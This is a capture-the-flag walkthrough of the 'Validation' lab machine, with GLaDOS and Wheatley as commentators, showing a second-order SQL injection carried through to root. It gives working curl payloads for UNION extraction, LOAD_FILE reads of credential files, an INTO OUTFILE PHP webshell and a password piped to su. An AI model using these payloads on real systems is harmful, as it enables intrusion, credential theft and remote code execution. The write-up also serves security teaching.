The Mission Briefing

The box was called Validation. A Linux machine. Easy difficulty. A PHP registration form with a username field and a country dropdown. Looked harmless — the kind of form you fill out a hundred times a day without thinking. But the dropdown was hiding something. The data going in was sanitized perfectly. The data coming out was not.

This is a box about trust. Specifically, about trusting your own database. The INSERT was safe. The SELECT was not. And that gap — that tiny, invisible gap between writing data and reading it back — was wide enough to drive a webshell through.

GlaDOS
"A registration form. Username and country. Prepared statements on the INSERT. Raw concatenation on the SELECT. The developer sanitized the front door and left the back door made of tissue paper. I want you to appreciate the architectural irony before we begin the demolition."
Wheatley
"Right, okay, so — a dropdown. A dropdown menu. Those are safe, yeah? You can only pick what's in the list. That's the whole point of a dropdown. ...Right? Oh no. Oh no no no. You can change them, can't you. You can just... change the value. Before it sends. That's — that's not great, is it."

Reconnaissance

The nmap scan came back with four ports. Not a huge attack surface, but every port told a story.

nmap -sC -sV 10.129.95.235 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.48 (Debian) 4566/tcp open http nginx |_http-title: 403 Forbidden 8080/tcp open http nginx |_http-title: 502 Bad Gateway

Four ports, but really only one that mattered:

Port 80 was the only way in. I fingerprinted it first:

curl -sI http://10.129.95.235 HTTP/1.1 200 OK Date: Tue, 17 Feb 2026 19:43:21 GMT Server: Apache/2.4.48 (Debian) X-Powered-By: PHP/7.4.23 Content-Type: text/html; charset=UTF-8

X-Powered-By: PHP/7.4.23. PHP confirmed. I fetched the page source and found a simple registration form:

curl -s http://10.129.95.235 <h1 class="text-center m-5">Join the UHC - September Qualifiers</h1> <h3 class="text-white">Register Now</h3> <form action="#" method="Post"> <input type="text" name="username" placeholder="Username"> <select id="country" name="country"> <option value="Brazil">Brazil</option> ... </select> </form>

A text field for username, a dropdown for country, and a "Join Now" button. After submitting, you'd land on account.php, which displayed a list of all registered users from your selected country.

GlaDOS
"Two nginx services returning errors. The developer left scaffolding exposed. But they're irrelevant. Focus on port 80. The PHP application. The dropdown. Tell me — when you submit a form, what actually gets sent to the server? The HTML element? The visual dropdown? No. A string. A string that your browser helpfully lets you modify before transmission. Dropdown menus are suggestions, not constraints."

The Dropdown Deception

Here's the first lesson this box teaches: client-side controls are decorative. A dropdown menu in HTML looks like a restricted input. You can only pick from the predefined options. But that restriction lives entirely in your browser. The server receives a POST parameter — just a string — and has no way to know whether it came from a dropdown, a text field, or a curl command.

I started by testing the country parameter for SQL injection. I sent just a single quote as the country value:

curl -s -d "username=test&country='" http://10.129.95.235 (empty response body)

No error page — the app silently accepted the malformed input. Could be blind SQLi. Could be nothing. I needed to understand the normal flow first. I registered with a legitimate value and watched what happened:

curl -sv -d "username=test&country=Brazil" http://10.129.95.235 2>&1 > POST / HTTP/1.1 < HTTP/1.1 302 Found < Server: Apache/2.4.48 (Debian) < X-Powered-By: PHP/7.4.23 < Set-Cookie: user=098f6bcd4621d373cade4e832627b4f6 < Location: /account.php < Content-Length: 0

Interesting. The cookie value 098f6bcd4621d373cade4e832627b4f6 is the MD5 hash of "test" — my username. The app hashes the username, sets it as a cookie, and redirects to /account.php. I followed the redirect:

curl -s -b "user=098f6bcd4621d373cade4e832627b4f6" http://10.129.95.235/account.php <h1 class="text-white">Welcome test</h1> <h3 class="text-white">Other Players In Brazil</h3> <li class='text-white'>test</li>

The account page reflects the username and country, and lists all players registered in the same country. The country value is reflected back in the page. And that's when the second-order nature of this injection clicked into place.

Wheatley
"Wait, hold on — so you POST one page, then GET a different page, and THAT'S where the SQL happens? You're injecting in one place and it goes off in another? That's... that's like planting a whoopee cushion under a chair you're not even going to sit in. Delayed mischief. Very clever. Very stressful."

Second-Order SQL Injection

This is where Validation gets interesting, and where it teaches something most basic SQLi tutorials never cover.

Second-order SQL injection happens when data is safely stored in the database (via prepared statements, parameterized queries, proper escaping) but then later retrieved and used unsafely in a different query. The INSERT is bulletproof. The SELECT is not. The vulnerability isn't in how the data goes in — it's in how the data comes out.

Here's the flow, and it's critical to understand because every exploit from here on requires two steps:

  1. Step 1 — Register (POST): Submit a username and a malicious country value. The app uses a prepared statement to INSERT both values safely into the database. No injection happens here. The payload is stored verbatim.
  2. Step 2 — Visit account.php (GET): The app retrieves the stored country value and concatenates it raw into a second SQL query. The injection fires here, on the read, not the write.

Every payload I ran followed this two-step pattern: curl -d to register, then curl -b to trigger. The registration was the gun. The account page was the trigger.

GlaDOS
"The developer's logic was: 'I sanitized it on input, so it's safe in my database, so I don't need to sanitize it on output.' Each of those statements is true individually. Together, they form a chain of reasoning that ends in remote code execution. This is why I prefer testing to assumptions."

Exploiting the Injection

With confirmed second-order SQLi through the country parameter, I started extracting information. Each payload required a new registration with a new username — the two-step dance every time.

First, the database name:

# Step 1: Register with UNION payload curl -sv -d "username=test2&country=Brazil' UNION SELECT database()-- -" \ http://10.129.95.235 2>&1 | grep -E "(Location|Set-Cookie|HTTP)" < HTTP/1.1 302 Found < Set-Cookie: user=ad0234829205b9033196ba818f7a872b < Location: /account.php # Step 2: Visit account.php to trigger the injection curl -s -b "user=ad0234829205b9033196ba818f7a872b" http://10.129.95.235/account.php <h3 class="text-white">Other Players In Brazil' UNION SELECT database()-- -</h3> <li class='text-white'>test</li> <li class='text-white'>registration</li>

The database name registration appeared as a list item alongside the legitimate "test" user. The UNION injected a second result set, and the app dutifully rendered it as a player name. Classic second-order UNION-based SQLi confirmed.

Next, I needed to know what privileges the database user had. If the DB user had FILE privilege, I could read files from the filesystem and potentially write files too:

# Step 1: Register with privilege enumeration payload curl -sv -d "username=test3&country=Brazil' UNION SELECT GROUP_CONCAT(privilege_type SEPARATOR ', ') FROM information_schema.user_privileges-- -" \ http://10.129.95.235 2>&1 | grep "Set-Cookie" # Step 2: Trigger curl -s -b "user=8ad8757baa8564dc136c1e07507f4a98" http://10.129.95.235/account.php USAGE, SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, RELOAD, SHUTDOWN, PROCESS, FILE, REFERENCES, INDEX, ALTER, SHOW DATABASES, SUPER, CREATE TEMPORARY TABLES, LOCK TABLES, EXECUTE, REPLICATION SLAVE, BINLOG MONITOR, CREATE VIEW, SHOW VIEW, CREATE ROUTINE, ALTER ROUTINE, CREATE USER, EVENT, TRIGGER, CREATE TABLESPACE, ...

ALL privileges. Every single one. Including FILE. The GROUP_CONCAT with a comma separator dumped them all into a single string — neat trick to avoid multi-row output issues.

GlaDOS
"ALL privileges. The database user has ALL privileges. Including FILE. The principle of least privilege exists for exactly this scenario, and it was ignored with remarkable thoroughness. FILE privilege means LOAD_FILE to read arbitrary files and INTO OUTFILE to write them. You now have read and write access to the entire filesystem. Through a dropdown menu."
Wheatley
"ALL privileges?! On a — on a web application database user?! That's like giving the intern the launch codes! Not that I'm judging. I once had all the privileges. Briefly. It did not end well. For anyone. Especially the facility."

Reading the Filesystem

With FILE privilege confirmed, I could use MySQL's LOAD_FILE() function to read files from the server. But my first attempt hit a snag that taught me something important.

# LOAD_FILE /etc/passwd (direct) curl -sv -d "username=test10&country=Brazil' UNION SELECT LOAD_FILE('/etc/passwd')-- -" \ http://10.129.95.235 2>&1 | grep "Set-Cookie" curl -s -b "user=c1a8e059bfd1e911cf10b626340c9a54" http://10.129.95.235/account.php \ | grep -oP "(?<=
  • ).*?(?=
  • )" test

    Only "test" came back. The file was read successfully, but the output was swallowed. The problem: LOAD_FILE() returns file contents with newline characters, and when those get rendered inside an <li> element, the newlines break the HTML structure. The browser sees the first line and discards the rest as malformed markup.

    The fix: HEX encoding. MySQL's HEX() function converts the output to a hexadecimal string — no newlines, no special characters, just clean alphanumeric output that survives HTML rendering intact.

    # LOAD_FILE with HEX encoding - the trick that makes it work curl -sv -d "username=test11&country=Brazil' UNION SELECT HEX(LOAD_FILE('/etc/passwd'))-- -" \ http://10.129.95.235 2>&1 | grep "Set-Cookie" curl -s -b "user=f696282aa4cd4f614aa995190cf442fe" http://10.129.95.235/account.php \ | grep -oP "(?<=
  • ).*?(?=
  • )" | tail -1 726F6F743A783A303A303A726F6F743A2F726F6F743A2F62696E2F626173680A...

    A wall of hex. Decoded, it gave me the full /etc/passwd — root, daemon, www-data, the htb user with a home directory at /home/htb. The HEX wrapper turned a broken query into clean, decodable output. Simple, but the kind of technique that separates a stalled injection from a productive one.

    Now I went after the real prize. The web app had a require('config.php') at the top of index.php — and config files almost always contain database credentials:

    # Read index.php source to understand the app curl -sv -d "username=test12&country=Brazil' UNION SELECT HEX(LOAD_FILE('/var/www/html/index.php'))-- -" \ http://10.129.95.235 2>&1 | grep "Set-Cookie" curl -s -b "user=60474c9c10d7142b7508ce7a50acf414" http://10.129.95.235/account.php \ | grep -oP "(?<=
  • ).*?(?=
  • )" | tail -1 | xxd -r -p # Decoded: <?php require('config.php'); if ( $_SERVER['REQUEST_METHOD'] == 'POST' ) { $userhash = md5($_POST['username']); $sql = "INSERT INTO registration (username, userhash, country, regtime) VALUES (?, ?, ?, ?)"; $stmt = $conn->prepare($sql); $stmt->bind_param("sssi", $_POST['username'], $userhash , $_POST['country'], time()); if ($stmt->execute()) {; setcookie('user', $userhash); header("Location: /account.php"); exit; } ... } ?>

    There it was in black and white. The INSERT uses prepared statementsprepare(), bind_param(), question mark placeholders. Textbook safe. The country value goes into the database exactly as submitted, but it never touches the SQL parser. The developer knew how to write safe queries. They just didn't do it everywhere.

    # Read account.php - the vulnerable file curl -sv -d "username=test13&country=Brazil' UNION SELECT HEX(LOAD_FILE('/var/www/html/account.php'))-- -" \ http://10.129.95.235 2>&1 | grep "Set-Cookie" curl -s -b "user=33fc3dbd51a8b38a38b1b85b6a76b42b" http://10.129.95.235/account.php \ | grep -oP "(?<=
  • ).*?(?=
  • )" | tail -1 | xxd -r -p # The vulnerable line: $sql = "SELECT username FROM registration WHERE country = '" . $row['country'] . "'";

    And there was the other half. The $row['country'] value — pulled straight from the database with no sanitization — concatenated directly into a raw SQL string. Safe INSERT, unsafe SELECT. The vulnerability confirmed by reading the source code through the vulnerability itself. There's a satisfying recursion to that.

    # Read config.php - database credentials curl -sv -d "username=test14&country=Brazil' UNION SELECT HEX(LOAD_FILE('/var/www/html/config.php'))-- -" \ http://10.129.95.235 2>&1 | grep "Set-Cookie" curl -s -b "user=b99c94f62fb2a61433c4e44e27406050" http://10.129.95.235/account.php \ | grep -oP "(?<=
  • ).*?(?=
  • )" | tail -1 | xxd -r -p # Decoded: <?php $servername = "127.0.0.1"; $username = "uhc"; $password = "uhc-9qual-global-pw"; $dbname = "registration"; $conn = new mysqli($servername, $username, $password, $dbname); ?>

    Database credentials: uhc / uhc-9qual-global-pw. I filed that password away. It had "global" right in the name — practically begging to be reused somewhere else.

    GlaDOS
    "You've confirmed the vulnerability by reading the source code through the vulnerability itself. The application's own code testifies against it. Now. You have FILE privilege. You can write files. The web root is /var/www/html. I trust you can see where this is going."

    Writing a Webshell — The Failed First Attempt

    FILE privilege in MySQL doesn't just mean reading files. It also means writing them via INTO OUTFILE. And if you can write a PHP file into the web root, you have remote code execution.

    I tried writing a webshell called cmd.php:

    # First attempt - cmd.php curl -sv -d "username=test4&country=Brazil' UNION SELECT '<?php system(\$_GET[\"cmd\"]); ?>' INTO OUTFILE '/var/www/html/cmd.php'-- -" \ http://10.129.95.235 2>&1 | grep -E "(HTTP|Set-Cookie|Location)" < HTTP/1.1 302 Found < Set-Cookie: user=86985e105f79b95d6bc918fb45ec7727 < Location: /account.php

    The redirect came back. Looked like it worked. I tried to hit the webshell:

    curl -s "http://10.129.95.235/cmd.php?cmd=whoami" <title>404 Not Found</title> <h1>Not Found</h1>

    404. The file was never written. The INTO OUTFILE failed silently — the app still returned a 302 redirect (the INSERT into the registration table succeeded, but the UNION clause with INTO OUTFILE errored out). The escaping of the PHP payload was wrong. The double-quoted \"cmd\" inside the single-quoted SQL string confused the parser.

    Before trying again, I verified the web root path was correct by reading the Apache vhost config:

    # Confirm DocumentRoot curl -sv -d "username=test5&country=Brazil' UNION SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf')-- -" \ http://10.129.95.235 2>&1 | grep "Set-Cookie" curl -s -b "user=e3d704f3542b44a621ebed70dc0efe13" http://10.129.95.235/account.php <VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www/html ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost>

    DocumentRoot was /var/www/html. Path was correct. I also checked @@secure_file_priv — it came back empty, meaning no directory restriction on file writes. The failure was purely an escaping issue.

    Wheatley
    "It didn't work? The file just... didn't appear? But the server said 302! It redirected! That's — that's a success code, isn't it? ...It's not a success code for the thing you wanted, is it. Right. Different query. The redirect was for the INSERT. The OUTFILE was the UNION. And the UNION broke. Silently. Without telling you. Servers are very rude sometimes."

    Writing a Webshell — The Second Attempt

    I changed the escaping. Instead of single quotes around the PHP code with escaped inner double quotes, I used double quotes around the PHP payload with single quotes inside — and a different filename since INTO OUTFILE cannot overwrite existing paths (even if the first write failed, the file might have been partially created):

    # Second attempt - shell.php with different escaping curl -sv -d "username=shell1&country=Brazil' UNION SELECT \"<?php system(\\\$_GET['cmd']); ?>\" INTO OUTFILE '/var/www/html/shell.php'-- -" \ http://10.129.95.235 2>&1 | grep -E "(HTTP|Set-Cookie|Location)" < HTTP/1.1 302 Found < Set-Cookie: user=1b29ad880d2d8ec23aed8d38bf2126e1 < Location: /account.php # Trigger second-order execution via account.php curl -s -b "user=1b29ad880d2d8ec23aed8d38bf2126e1" http://10.129.95.235/account.php | head -5

    Redirect returned. I triggered the second-order injection by visiting account.php with the cookie. Then the moment of truth:

    curl -s "http://10.129.95.235/shell.php?cmd=whoami" test www-data

    Remote code execution. The "test" prefix in the output is a UNION artifact — the query returns both the original SELECT result ("test" username) and the webshell output. Running as www-data. From a dropdown menu. Through a second-order SQL injection. Through MySQL FILE privilege. Through a PHP webshell that took two attempts to write correctly.

    Wheatley
    "You wrote a file. To the server. Through a dropdown menu. Through SQL. That went into a database. And came back out. And then wrote a file. That's — that's so many steps! How did you keep track of all those steps? I lose track after two steps. Sometimes one step. Okay, consistently one step."

    User Flag

    With RCE as www-data, grabbing the user flag was straightforward:

    curl -s "http://10.129.95.235/shell.php?cmd=cat+/home/htb/user.txt" test The flag is a lied4d801b823a850b975a09daf920ff5c5

    User flag captured. Again with the "test" prefix — that persistent UNION artifact. But I was still www-data. Time to escalate.

    From www-data to Root

    Remember that database password? uhc-9qual-global-pw. The one with "global" in the name. First I tried the obvious route — SSH with the stolen credential:

    # SSH attempt 1: htb user sshpass -p 'uhc-9qual-global-pw' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 \ htb@10.129.95.235 'whoami && cat /home/htb/user.txt' 2>&1 Permission denied, please try again. # SSH attempt 2: uhc user sshpass -p 'uhc-9qual-global-pw' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 \ uhc@10.129.95.235 'whoami' 2>&1 Permission denied, please try again.

    SSH denied for both htb and uhc. No direct SSH access with these credentials. But I still had the webshell, and su doesn't care about SSH keys — it just needs a password and a way to pipe it in.

    # su to root via webshell - piping password to su curl -s "http://10.129.95.235/shell.php?cmd=echo+'uhc-9qual-global-pw'+|+su+-c+'whoami'+root+2>%261" test Password: root

    The password uhc-9qual-global-pw — the database password — was also the root password. su worked directly through the webshell by piping the password via echo. No reverse shell needed. No TTY upgrade. Just echo 'password' | su -c 'command' root 2>&1.

    # Read root flag curl -s "http://10.129.95.235/shell.php?cmd=echo+'uhc-9qual-global-pw'+|+su+-c+'cat+/root/root.txt'+root+2>%261" test Password: The flag is a lie731cbddcef8d44629c3e990f55e9f6f8

    Credential reuse. The simplest privilege escalation vector there is, and one of the most common in real environments. Why crack hashes or find kernel exploits when the admin used the same password everywhere? They even named it "global."

    GlaDOS
    "The password was named 'global.' The developer labeled their own vulnerability. They wrote 'this password is used everywhere' into the password itself and then used it everywhere. I have observed many forms of human behavior in my facility, but self-documenting security failures remain my favorite genre."

    What I Learned

    Validation taught me more about SQL injection than any textbook could. Not because the injection itself was complex — it was UNION-based, straightforward once you found it — but because of where the vulnerability lived, why it existed, and how many small details determined success or failure along the way.

    Wheatley
    "So the takeaway is: don't trust anything. Don't trust dropdowns. Don't trust your own database. Don't trust passwords with 'global' in the name. Don't trust prepared statements to protect queries they're not actually used in. Don't trust a 302 redirect to mean your file write worked. Is that — is that the lesson? Just... trust nothing? Verify everything? That's quite exhausting actually. I need a moment."
    GlaDOS
    "Test complete. Both flags obtained. The entire attack chain — from dropdown manipulation to root shell — existed because of a single line of code. One concatenation in a SELECT statement. The INSERT was parameterized. The developer knew how to write safe queries. They simply chose not to. Consistently. The data was validated on the way in and trusted on the way out, which is rather like locking your front door and leaving the windows open. But I suppose the box was called Validation, not Thorough Validation. Same time next test chamber?"